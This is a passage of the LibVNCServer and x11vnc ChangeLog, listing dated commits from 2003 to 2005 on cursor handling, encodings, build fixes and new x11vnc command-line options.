+ + * ChangeLog, libvncserver/rfbserver.c: clear requested region after + handling it + +2005-04-19 runge + + * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/misc/README, + x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, + x11vnc/x11vnc.c: x11vnc: -wireframe, -wirecopyrect, -privremote, -safer, -nocmd, + -unsafe, -noviewonly + +2005-04-12 runge + + * x11vnc/ChangeLog, x11vnc/misc/Makefile.am, x11vnc/misc/ranfb.pl: x11vnc: add rawfb setup example misc/ranfb.pl + +2005-04-11 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/misc/slide.pl, + x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, + x11vnc/x11vnc.c: x11vnc: fix some -rawfb bugs, add setup:cmd + +2005-04-10 runge + + * ChangeLog, configure.ac, prepare_x11vnc_dist.sh, + x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, + x11vnc/misc/Makefile.am, x11vnc/misc/README, + x11vnc/misc/blockdpy.c, x11vnc/misc/dtVncPopup, + x11vnc/misc/rx11vnc, x11vnc/misc/rx11vnc.pl, x11vnc/misc/shm_clear, + x11vnc/misc/slide.pl, x11vnc/misc/vcinject.pl, + x11vnc/misc/x11vnc_loop, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, + x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -rawfb, -pipeinput, -xtrap, -flag, ... + +2005-04-04 runge + + * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README, + x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, + x11vnc/x11vnc.c: x11vnc: use DEC-XTRAP on legacy X11R5, -shiftcmap, -http + +2005-03-29 runge + + * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: fix event leaks, build-time customizations, -nolookup + +2005-03-20 runge + + * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: scale cursors, speed up some scaling, alt arrows, -norepeat + N + +2005-03-12 runge + + * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: X DAMAGE support, -clip WxH+X+Y, identd. + +2005-03-09 dscho + + * test/encodingstest.c: fix compilation when no libz is available + +2005-03-07 dscho + + * configure.ac, rfb/rfbproto.h: do the in_addr_t stuff correctly... + +2005-03-07 dscho + + * configure.ac: check for in_addr_t + +2005-03-06 dscho + + * client_examples/SDLvncviewer.c: fix for older SDL versions + +2005-03-05 runge + + * ChangeLog, Makefile.am, configure.ac, libvncserver/Makefile.am: autoconf: rpm -> rpmbuild and echo -n -> printf + +2005-03-05 runge + + * ChangeLog, libvncclient/sockets.c, libvncserver/cargs.c, + libvncserver/httpd.c, libvncserver/main.c, libvncserver/sockets.c, + rfb/rfb.h, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: add '-listen ipaddr' option + +2005-03-01 dscho + + * client_examples/ppmtest.c: do not crash when /tmp is not writable + +2005-02-23 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: final changes for 0.7.1 release. + +2005-02-22 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -nap is now the default, version str 0.7.1. + +2005-02-14 runge + + * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -users lurk=, -solid for cde, -gui ez,.. beginner mode. + +2005-02-11 runge + + * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc -input to fine tune allow user input. per-client settings + -R + +2005-02-09 runge + + * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README, + x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, + x11vnc/x11vnc.c: x11vnc -users, fix -solid on gnome/kde, configure.ac pwd.h wait.h + and utmpx.h + +2005-02-07 runge + + * ChangeLog, prepare_x11vnc_dist.sh: prepare_x11vnc_dist.sh: few tweaks for next release + +2005-02-07 runge + + * ChangeLog, configure.ac: configure.ac: --with-jpeg=DIR --with-zlib=DIR, /usr/sfw + +2005-02-05 runge + + * ChangeLog, tightvnc-1.3dev5-vncviewer-alpha-cursor.patch, + x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc -solid color, -opts; tightvnc unix viewer alpha patch + +2005-01-25 dscho + + * TODO, libvncserver/rfbserver.c: 10l: really fix preferredEncoding + set from outside + +2005-01-24 runge + + * x11vnc/x11vnc.c: whoops, test version of x11vnc.c leaked out... + +2005-01-24 runge + + * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: sync with new cursor mechanism, -timeout, -noalphablend, try :0 if + no other info + +2005-01-23 dscho + + * test/cursortest.c: test Floyd-Steinberg dither for alpha masks + +2005-01-21 dscho + + * TODO, libvncserver/cursor.c, rfb/rfb.h: implemented + Floyd-Steinberg dither in order to rfbMakeMaskFromAlphaSource + +2005-01-21 dscho + + * VisualNaCro/recorder.pl: use Getopt + +2005-01-21 dscho + + * libvncclient/vncviewer.c: if no argc & argv are passed, honour the + serverHost&serverPort which was set by the application + +2005-01-20 dscho + + * test/cursortest.c: no need to strdup for MakeXCursor + +2005-01-20 dscho + + * ChangeLog, libvncserver/cursor.c: disappearing cursor fixed & + debug message purged + +2005-01-20 dscho + + * libvncserver/cursor.c, libvncserver/main.c, + libvncserver/rfbserver.c: fix disappearing cursor + +2005-01-19 dscho + + * libvncserver/cursor.c: redraw region under old cursor even if the + old cursor doesn't have to be freed. + +2005-01-19 dscho + + * TODO: a granted wish has several children ;-) + +2005-01-19 dscho + + * test/encodingstest.c: fix test (don't show cursor...); correctly + set the encodings in the client; really test 20 seconds + +2005-01-19 dscho + + * libvncserver/cursor.c: oops, a debug message slipped through + +2005-01-18 dscho + + * ChangeLog, contrib/zippy.c, examples/example.c, + libvncserver/cursor.c, libvncserver/main.c, + libvncserver/rfbserver.c, libvncserver/selbox.c, rfb/rfb.h, + vncterm/VNConsole.c, x11vnc/x11vnc.c: pointerClient was still + static. do not make requestedRegion empty without reason. the cursor handling for clients which don't handle CursorShape + updates was completely broken. It originally was very complicated + for performance reasons, however, in most cases it made performance + even worse, because at idle times there was way too much checking + going on, and furthermore, sometimes unnecessary updates were + inevitable. The code now is much more elegant: the ClientRec structure knows + exactly where it last painted the cursor, and the ScreenInfo + structure knows where the cursor shall be. As a consequence there is no more rfbDrawCursor()/rfbUndrawCursor(), + no more dontSendFramebufferUpdate, and no more isCursorDrawn. It is + now possible to have clients which understand CursorShape updates + and clients which don't at the same time. rfbSetCursor no longer has the option freeOld; this is obsolete, as + the cursor structure knows what to free and what not. + +2005-01-18 dscho + + * libvncserver/rfbregion.c, rfb/rfbregion.h: add convenience + function to clip using x2,y2 instead of w,h + +2005-01-18 dscho + + * test/Makefile.am, test/cursortest.c: add a cursor test + (interactive for now) + +2005-01-18 dscho + + * VisualNaCro/.cvsignore: more ignorance + +2005-01-17 dscho + + * index.html: LibVNCClient is included + +2005-01-17 dscho + + * index.html: alpha cursor and VisualNaCro news + +2005-01-16 dscho + + * VisualNaCro/.cvsignore: ignore generated files + +2005-01-16 runge + + * ChangeLog, libvncserver/cursor.c, rfb/rfb.h, x11vnc/ChangeLog, + x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, + x11vnc/x11vnc.c: add cursor alphablending to rfb.h cursor.c, x11vnc -alphablend + -snapfb etc.. + +2005-01-14 dscho + + * VisualNaCro/Makefile.am, VisualNaCro/default8x16.h, + VisualNaCro/nacro.c, VisualNaCro/nacro.h, VisualNaCro/recorder.pl: + fix most TODOs; recorder.pl now actually records something; add + nacro.pm to package + +2005-01-14 dscho + + * examples/example.c: reverted segfault fix; use rfbDrawCharWithClip + +2005-01-14 dscho + + * libvncserver/font.c: add comment "if col=bcol, assume background + is transparent" + +2005-01-14 dscho + + * libvncserver/main.c: fix comment + +2005-01-14 dscho + + * libvncserver/rfbserver.c: close socket in ClientConnectionGone + +2005-01-14 dscho + + * configure.ac: new version... + +2005-01-14 dscho + + * VisualNaCro/AUTHORS, VisualNaCro/ChangeLog, + VisualNaCro/Makefile.am, VisualNaCro/NEWS, VisualNaCro/README, + VisualNaCro/autogen.sh, VisualNaCro/configure.ac, + VisualNaCro/nacro.c, VisualNaCro/nacro.h, VisualNaCro/recorder.pl: + VisualNacro, a visual macro recorder for VNC. Alpha version + +2005-01-14 dscho + + * libvncserver/main.c, rfb/rfb.h: return value of rfbProcessEvents + tells if an update was pending + +2005-01-14 dscho + + * libvncserver/font.c: fix segfault when trying to write outside of + frameBuffer + +2005-01-14 dscho + + * libvncclient/vncviewer.c: argc and argv may be zero (which means + to ignore them) + +2005-01-03 dscho + + * libvncserver/main.c, libvncserver/rfbserver.c, rfb/rfb.h: add hook + to allow for custom client messages + +2004-12-27 runge + + * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: improve XFIXES cursor transparency, more remote-control + cmds. + +2004-12-23 runge + + * x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: need tkx11vnc and tkx11vnc.h in x11vnc package + +2004-12-23 runge + + * x11vnc/Makefile.am: x11vnc: need tkx11vnc and tkx11vnc.h in x11vnc package + +2004-12-23 runge + + * x11vnc/Makefile.am: x11vnc: need tkx11vnc and tkx11vnc.h in x11vnc package + +2004-12-23 runge + + * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, + x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, + x11vnc/x11vnc.c: x11vnc: minor tweaks for x11vnc 0.7 file release + +2004-12-20 dscho + + * index.html: Ooh, I'm lazy. Some news were added retroactively. + +2004-12-20 dscho + + * ChangeLog, configure.ac, index.html: released 0.7 + +2004-12-20 dscho + + * examples/mac.c: compile fix on mac; still untested... + +2004-12-20 dscho + + * test/Makefile.am: fix for MinGW + +2004-12-20 runge + + * x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, + x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: minor tweaks for 0.7 file release + +2004-12-20 runge + + * ChangeLog, libvncserver/cursor.c, x11vnc/ChangeLog, + x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, + x11vnc/x11vnc.c: x11vnc: synchronous mode for -remote, string cleanup + +2004-12-17 dscho + + * libvncserver/cursor.c: don't mix up width & height! + +2004-12-17 runge + + * ChangeLog, test/encodingstest.c, x11vnc/ChangeLog, x11vnc/README, + x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, + x11vnc/x11vnc.c: x11vnc: XFIXES cursorshape, XRANDR resize, remote control, gui + +2004-12-01 dscho + + * rfb/rfb.h: fix compilation on non MinGW32... + +2004-12-01 dscho + + * ChangeLog, TODO, client_examples/Makefile.am, + client_examples/SDLvncviewer.c, configure.ac, contrib/Makefile.am, + examples/Makefile.am, examples/vncev.c, libvncclient/listen.c, + libvncclient/rfbproto.c, libvncclient/sockets.c, + libvncclient/vncviewer.c, libvncserver-config.in, + libvncserver/httpd.c, libvncserver/main.c, libvncserver/sockets.c, + rfb/rfb.h, rfb/rfbproto.h, test/Makefile.am, vncterm/Makefile.am, + x11vnc/Makefile.am: support MinGW32! + +2004-12-01 dscho + + * AUTHORS, libvncclient/listen.c, libvncclient/sockets.c, + libvncclient/vncviewer.c: use rfbClientErr to log errors, check if + calloc succeded (both hinted by Andre Leiradella) + +2004-11-30 dscho + + * ChangeLog, libvncclient/sockets.c: fix long reads (in some events + of success, no TRUE was returned) + +2004-11-30 dscho + + * rfb/rfbproto.h: add EncodingUltra; it is not implemented in the + libraries yet, so this is just a place holder + +2004-10-16 dscho + + * TODO: TODOs from encodingstest + +2004-10-16 dscho + + * test/.cvsignore: tight-1 -> encodingstest + +2004-10-16 dscho + + * test/Makefile.am, test/encodingstest.c, test/tight-1.c: rename + tight-1.c into encodingstest.c, fixing it in the process. It now + passes all encodings except corre (broken) and zrle (not yet + implemented in libvncclient) + +2004-10-16 dscho + + * libvncclient/rfbproto.c, libvncclient/sockets.c, + libvncclient/tight.c, libvncclient/vncviewer.c, + libvncclient/zlib.c, rfb/rfbclient.h: move read buffer to rfbClient + structure (thread safety); make rfbClientLog overrideable + +2004-10-15 dscho + + * test/tight-1.c: compiles, 1st run is okay, 2nd and subsequent give + errors. Evidently, libvncclient is not yet reentrant (or + threadsafe). + +2004-10-15 dscho + + * libvncclient/vncviewer.c: no need to modify argv + +2004-10-15 dscho + + * TODO: ideas + +2004-10-15 dscho + + * test/tight-1.c: compiling, non functional version of a unit test + for encodings + +2004-10-04 dscho + + * TODO: cursor problem + +2004-10-02 dscho + + * libvncserver/rfbserver.c: release client list mutex earlier + +2004-09-14 dscho + + * index.html, success.html: added success stories and link to + x11vnc's home + +2004-09-14 dscho + + * success.html: add success stories (only one at the moment) + +2004-09-07 dscho + + * index.html: new API + +2004-09-03 dscho + + * libvncserver/rfbregion.c: output only via rfbErr + +2004-09-03 dscho + + * libvncserver-config.in: libvncserver.a is in libvncserver/ now + +2004-09-01 runge + + * ChangeLog, prepare_x11vnc_dist.sh, x11vnc/ChangeLog, + x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: new pointer input handling algorithm; x11vnc pkg installs + java viewer + +2004-08-30 dscho + + * ChangeLog: API changes + +2004-08-30 dscho + + * contrib/zippy.c, examples/colourmaptest.c, examples/example.c, + examples/pnmshow.c, examples/pnmshow24.c, examples/storepasswd.c, + examples/vncev.c, libvncclient/rfbproto.c, libvncserver/auth.c, + libvncserver/cargs.c, libvncserver/corre.c, libvncserver/cursor.c, + libvncserver/d3des.c, libvncserver/d3des.h, libvncserver/font.c, + libvncserver/hextile.c, libvncserver/httpd.c, libvncserver/main.c, + libvncserver/rfbserver.c, libvncserver/rre.c, + libvncserver/selbox.c, libvncserver/sockets.c, + libvncserver/stats.c, libvncserver/tight.c, + libvncserver/translate.c, libvncserver/vncauth.c, + libvncserver/zlib.c, libvncserver/zrle.c, rfb/rfb.h, + rfb/rfbproto.h, test/cargstest.c, test/copyrecttest.c, + vncterm/LinuxVNC.c, vncterm/VNConsole.c, vncterm/VNConsole.h, + x11vnc/x11vnc.c: global structures/functions should have "rfb", + "sra" or "zrle" as prefix, while structure members should not + +2004-08-30 dscho + + * client_examples/Makefile.am: my ffmpeg was compiled with + mp3lame... + +2004-08-30 runge + + * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README, + x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -cursor change shape handling, configure.ac: add more + macros for X extensions + +2004-08-17 dscho + + * index.html: news: QEMU patch v6 + +2004-08-15 runge + + * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, + x11vnc/x11vnc.c: x11vnc: -overlay to fix colors with Sun 8+24 overlay visuals. -sid + option. + +2004-08-04 runge + + * x11vnc/README, x11vnc/x11vnc.1: fix XKBlib.h detection on *BSD, x11vnc: manpage and README + +2004-08-04 runge + + * ChangeLog, configure.ac, prepare_x11vnc_dist.sh, + x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/x11vnc.c: fix XKBlib.h detection on *BSD, x11vnc: manpage and README + +2004-07-31 runge + + * x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: adjust version number and output + +2004-07-31 runge + + * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: -cursorpos now the default, fix cursorpos + scaling bug. + +2004-07-29 runge + + * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: -add_keysyms dynamically add missing keysyms to X server + +2004-07-27 runge + + * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: -xkb (XKEYBOARD modtweak), -skip_keycodes, multi lines in + x11vncrc + +2004-07-19 runge + + * x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: ignore keysyms >4 for a keycode, add lastmod to -help, + -version + +2004-07-16 runge + + * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/x11vnc.c: modtweak is now the default for x11vnc; check X11/XKBlib.h in + configure.ac + +2004-07-11 runge + + * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: -norepeat to turn off X server autorepeat when clients + exist. + +2004-07-05 runge + + * x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: extend -allow to re-read a file with allowed IP addresses. + +2004-07-02 runge + + * x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: improve scaled grid calc to regain text compression. add + :pad option + +2004-06-30 dscho + + * libvncclient/vncviewer.c: do not use GNU-only getline + +2004-06-28 runge + + * x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: round scaled width to multiple of 4 to make vncviewer + happy. + +2004-06-27 runge + + * x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: speed up scaling a bit, add no blending option to -scale + +2004-06-26 runge + + * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: add "-scale fraction" for global server-side scaling. + +2004-06-18 dscho + + * libvncserver/zrleencodetemplate.c, test/tight-1.c, + vncterm/LinuxVNC.c, vncterm/VNCommand.c, vncterm/VNConsole.c, + vncterm/example.c: convert c++ comments to c comments + +2004-06-18 dscho + + * libvncserver/sockets.c: debug + +2004-06-18 dscho + + * client_examples/SDLvncviewer.c: cleanups; libvncclient supports + -encodings already + +2004-06-18 dscho + + * client_examples/vnc2mpg.c: cleanups; support vncrec'orded files as + input + +2004-06-18 dscho + + * examples/example.c, examples/pnmshow.c, examples/pnmshow24.c: now + that the examples reside in a subdirectory, the classes path has to + be adapted + +2004-06-18 dscho + + * rfb/rfbclient.h: more comments; support playing vncrec'orded files + +2004-06-18 dscho + + * libvncclient/rfbproto.c, libvncclient/sockets.c, + libvncclient/vncviewer.c: support password reading with getpass(); + support -play to play vncrec'orded files + +2004-06-17 runge + + * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: simple ~/.x11vncrc config file support, -rc, -norc + +2004-06-15 dscho + + * TODO: fixed + +2004-06-15 dscho + + * libvncclient/hextile.c: fix silly hextile bug + +2004-06-15 dscho + + * libvncclient/rfbproto.c: recognize more encodings + +2004-06-15 dscho + + * libvncclient/sockets.c: debug + +2004-06-15 dscho + + * libvncserver/rfbserver.c: fix CoRRE with maxRectsPerUpdate bug + +2004-06-15 dscho + + * libvncclient/rfbproto.c: fix silly update bug with raw encoding + +2004-06-12 runge + + * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: -clear_mods -clear_keys -storepasswd, add RFB_SERVER_IP + RFB_SERVER_PORT to -accept/-gone + +2004-06-08 dscho + + * client_examples/Makefile.am, configure.ac: fix compilation on IRIX + +2004-06-08 dscho + + * configure.ac: fix test for sdl + +2004-06-08 dscho + + * client_examples/SDLvncviewer.c: fix compilation on MacOSX + +2004-06-07 dscho + + * index.html: layout and wording fix + +2004-06-07 dscho + + * index.html: more news + +2004-06-07 dscho + + * .cvsignore, prepare_x11vnc_dist.sh: now that it is released, + increment x11vnc's version + +2004-06-07 dscho + + * .cvsignore, client_examples/.cvsignore, libvncclient/.cvsignore, + libvncserver/.cvsignore, test/.cvsignore, x11vnc/.cvsignore: all + this moving and renaming needs changes in the cvsignores, too! + +2004-06-07 dscho + + * LibVNCServer.spec.in, Makefile.am, libvncserver.spec.in, + prepare_x11vnc_dist.sh: fix bug 968264: make rpm did not work with + x11vnc package + +2004-06-07 dscho + + * client_examples/Makefile.am, client_examples/vnc2mpg.c, + configure.ac: add vnc2mpg, a program which makes a movie from a VNC + desktop using FFMPEG + +2004-06-07 dscho + + * TODO, client_examples/SDLvncviewer.c: added -encodings + +2004-06-07 dscho + + * ChangeLog, TODO, libvncserver/cursor.c, rfb/rfb.h: fix cursor + trails (when not using cursor encoding and moving the cursor, the + redrawn part of the screen didn't get updated, and so left cursor + trails). + +2004-06-07 dscho + + * client_examples/SDLvncviewer.c: add mouse button handling + +2004-06-07 dscho + + * ChangeLog, Makefile.am, TODO, client_examples/Makefile.am, + client_examples/SDLvncviewer.c, client_examples/ppmtest.c, + configure.ac, contrib/Makefile.am, examples/Makefile.am, + examples/blooptest.c, examples/copyrecttest.c, + libvncclient/Makefile.am, libvncclient/client_test.c, + libvncclient/sockets.c, libvncclient/vncviewer.c, + libvncserver/Makefile.am, prepare_x11vnc_dist.sh, rfb/rfbclient.h, + test/Makefile.am, test/blooptest.c, test/copyrecttest.c, + test/tight-1.c, x11vnc/Makefile.am: add client_examples/, add + SDLvncviewer, libvncclient API changes, suppress automake CFLAGS + nagging + +2004-06-06 runge + + * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: rearrange file for easier maintenance, add RFB_CLIENT_COUNT + to -accept/-gone + +2004-05-28 runge + + * x11vnc/x11vnc.c: [no log message] + +2004-05-27 runge + + * ChangeLog, libvncserver/main.c, libvncserver/rfbserver.c, + prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: view-only plain passwd: -viewpasswd and 2nd line of + -passwdfile + +2004-05-25 dscho + + * prepare_x11vnc_dist.sh: a script which automatically converts a + few files to make an x11vnc release + +2004-05-25 dscho + + * configure.ac: -lvncserver is not default now + +2004-05-25 dscho + + * ChangeLog, Makefile.am, auth.c, cargs.c, configure.ac, + contrib/ChangeLog, contrib/Makefile.am, contrib/x11vnc.c, corre.c, + cursor.c, cutpaste.c, d3des.c, d3des.h, draw.c, + examples/Makefile.am, examples/regiontest.c, font.c, hextile.c, + httpd.c, libvncclient/rfbproto.c, libvncserver/Makefile.am, + libvncserver/auth.c, libvncserver/cargs.c, libvncserver/config.h, + libvncserver/corre.c, libvncserver/cursor.c, + libvncserver/cutpaste.c, libvncserver/d3des.c, + libvncserver/d3des.h, libvncserver/draw.c, libvncserver/font.c, + libvncserver/hextile.c, libvncserver/httpd.c, libvncserver/main.c, + libvncserver/rfbconfig.h, libvncserver/rfbregion.c, + libvncserver/rfbserver.c, libvncserver/rre.c, + libvncserver/selbox.c, libvncserver/sockets.c, + libvncserver/stats.c, libvncserver/tableinit24.c, + libvncserver/tableinitcmtemplate.c, + libvncserver/tableinittctemplate.c, + libvncserver/tabletrans24template.c, + libvncserver/tabletranstemplate.c, libvncserver/tight.c, + libvncserver/translate.c, libvncserver/vncauth.c, + libvncserver/zlib.c, libvncserver/zrle.c, + libvncserver/zrleencodetemplate.c, libvncserver/zrleoutstream.c, + libvncserver/zrleoutstream.h, libvncserver/zrlepalettehelper.c, + libvncserver/zrlepalettehelper.h, libvncserver/zrletypes.h, main.c, + rfbregion.c, rfbserver.c, rre.c, selbox.c, sockets.c, stats.c, + tableinit24.c, tableinitcmtemplate.c, tableinittctemplate.c, + tabletrans24template.c, tabletranstemplate.c, test/Makefile.am, + tight.c, translate.c, vncauth.c, vncterm/Makefile.am, + x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/x11vnc.c, zlib.c, + zrle.c, zrleencodetemplate.c, zrleoutstream.c, zrleoutstream.h, + zrlepalettehelper.c, zrlepalettehelper.h, zrletypes.h: move the + library into libvncserver/, x11vnc into x11vnc/ + +2004-05-22 runge + + * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c, httpd.c: x11vnc: -gone, -passwdfile, -o logfile; add view-only to -accept + +2004-05-14 runge + + * contrib/x11vnc.c: x11vnc: more -inetd fixes. + +2004-05-14 runge + + * contrib/ChangeLog, contrib/x11vnc.c: x11vnc: less fprintf under -q so '-q -inetd' has no stderr output. + +2004-05-13 runge + + * contrib/ChangeLog, contrib/x11vnc.c: x11vnc: improvements to -accept popup: yes/no buttons and timeout. + +2004-05-08 runge + + * contrib/ChangeLog, contrib/x11vnc.c: x11vnc: clean up -Wall warnings. + +2004-05-08 runge + + * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc: add -accept some-command/xmessage/popup + +2004-05-06 runge + + * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc: mouse -> keystroke and keystroke -> mouse remappings. + +2004-05-05 dscho + + * rfbserver.c, sockets.c: prevent segmentation fault when requested + area is too big; if select is interrupted while WriteExact, just try + again. + +2004-04-28 runge + + * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc: add -auth, more -cursorpos and -nofb work + +2004-04-20 runge + + * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc: add -cursorpos for Cursor Position Updates, and -sigpipe + +2004-04-19 dscho + + * main.c: ignore SIGPIPE the correct way + +2004-04-13 runge + + * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc: do not send selection unless all clients are in RFB_NORMAL + state. increase rfbMaxClientWait when threaded to avoid + ReadExact() timeouts for some viewers. + +2004-04-12 dscho + + * configure.ac: fix compilation without jpeg and a certain autoconf + version + +2004-04-08 runge + + * ChangeLog, configure.ac, contrib/ChangeLog, contrib/x11vnc.c: x11vnc options -blackout, -xinerama, -xwarppointer. check cargs. modify configure.ac to pick up -lXinerama + +2004-03-24 dscho + + * examples/pnmshow.c: add support for pgm and pbm (8-bit and 1-bit + grayscale images) + +2004-03-22 dscho + + * ChangeLog, cargs.c, test/Makefile.am, test/cargstest.c: fix + cargs.c: arguments were not correctly purged. + +2004-03-15 dscho + + * ChangeLog, libvncserver-config.in: fix --link for + libvncserver-config + +2004-03-11 runge + + * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc options -vncconnect, -connect, -remap, -debug_pointer, and -debug_keyboard add reverse connections, keysym remapping, and debug output option + +2004-02-29 dscho + + * index.html: link to pre.tar.gz, mention valgrind + +2004-02-29 dscho + + * index.html: update on news + +2004-02-29 dscho + + * ChangeLog, rfbregion.c: fixed valgrind warning + +2004-02-20 runge + + * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc options -nosel -noprimary -visual. add clipboard/selection handling. add visual option (mostly for testing and workarounds). improve shm cleanup on failures. + +2004-02-04 dscho + + * AUTHORS, ChangeLog, examples/colourmaptest.c, + examples/copyrecttest.c, examples/example.c, examples/simple.c, + examples/simple15.c, examples/vncev.c: make examples g++ + compileable, thanks to Juan Jose Costello + +2004-01-30 dscho + + * ChangeLog, rfbserver.c: memory leaks fixed + +2004-01-29 dscho + + * ChangeLog, Makefile.am, configure.ac, tight.c, zlib.c, zrle.c, + zrleencodetemplate.c, zrleoutstream.c, zrleoutstream.h, + zrlepalettehelper.c, zrlepalettehelper.h: Honour the check for libz, + libjpeg again + +2004-01-21 dscho + + * ChangeLog, cargs.c, main.c, rfb/rfb.h, rfbserver.c: add + "-progressive height" option to make SendFramebufferUpdate + "preemptive" + +2004-01-21 dscho + + * ChangeLog: update + +2004-01-21 dscho + + * examples/.cvsignore: ignore all test programs + +2004-01-21 dscho + + * examples/Makefile.am, examples/copyrecttest.c: add a simple + example how to use rfbDoCopyRect + +2004-01-21 dscho + + * main.c, rfb/rfb.h: ignore SIGPIPE by default; it is handled via + EPIPE + +2004-01-21 dscho + + * cursor.c: do not send unnecessary updated because of cursor + drawing + +2004-01-19 runge + + * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: handle mouse button number mismatch improved pointer input handling during drags, etc. somewhat faster copy_tiles() -> copy_tiles() x11vnc options -buttonmap -old_pointer -old_copytile + +2004-01-19 dscho + + * configure.ac: 0.6 is out... version is 0.7pre now + +2004-01-19 dscho + + * vncterm/Makefile.am: inherit CFLAGS + +2004-01-19 dscho + + * vncterm/VNConsole.c: fix usage of non-existent attribute buffer + +2004-01-16 dscho + + * ChangeLog, cargs.c, configure.ac, contrib/Makefile.am, + rfbserver.c, vncauth.c: compile fix for cygwin + +2004-01-10 runge + + * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc options -allow, -localhost, -nodragging, -input_skip minimize memory usage under -nofb + +2003-12-09 dscho + + * libvncclient/hextile.c: fix compilation with Mac OSX: preprocessor + can't do recursive macros + +2003-12-09 runge + + * ChangeLog, configure.ac, contrib/ChangeLog, contrib/x11vnc.c: + x11vnc: XBell events, -nofb, -notruecolor, misc. cleaning + +2003-11-27 dscho + + * index.html: fixed link + +2003-11-11 dscho + + * ChangeLog, contrib/x11vnc.c: -inetd, -noshm and friends added + +2003-11-07 dscho + + * ChangeLog, README.cvs, configure.ac: release 0.6 + +2003-10-08 dscho + + * zrle.c: fix gcc 2.x compilation: no C99 + +2003-09-11 markmc + + * ChangeLog, Makefile.in, aclocal.m4, bootstrap.sh, + classes/.cvsignore, 